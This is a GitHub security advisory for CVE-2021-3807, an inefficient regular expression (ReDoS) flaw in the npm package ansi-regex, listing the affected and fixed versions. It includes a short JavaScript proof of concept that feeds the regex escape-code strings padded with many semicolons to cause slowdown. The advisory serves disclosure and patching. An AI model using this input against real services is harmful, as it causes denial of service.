~ / search / GHSA-93q8-gq69-wqmw

GHSA-93q8-gq69-wqmw

Inefficient Regular Expression Complexity in chalk/ansi-regex

Source: GitHub Advisory Database (reviewed) High CVE-2021-3807

Packages

EcosystemPackageAffectedFixed in
npm ansi-regex >= 6.0.0, < 6.0.1 6.0.1
npm ansi-regex >= 5.0.0, < 5.0.1 5.0.1
npm ansi-regex >= 4.0.0, < 4.1.1 4.1.1
npm ansi-regex >= 3.0.0, < 3.0.1 3.0.1

Details

As written in the advisory (Markdown source, shown as plain text).

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes. **Proof of Concept** ```js import ansiRegex from 'ansi-regex'; for(var i = 1; i <= 50000; i++) { var time = Date.now(); var attack_str = "\u001B["+";".repeat(i*10000); ansiRegex().test(attack_str) var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms") } ``` The ReDOS is mainly due to the sub-patterns `[[\\]()#;?]*` and `(?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*`

References

External links from the advisory. They lead to third-party sites.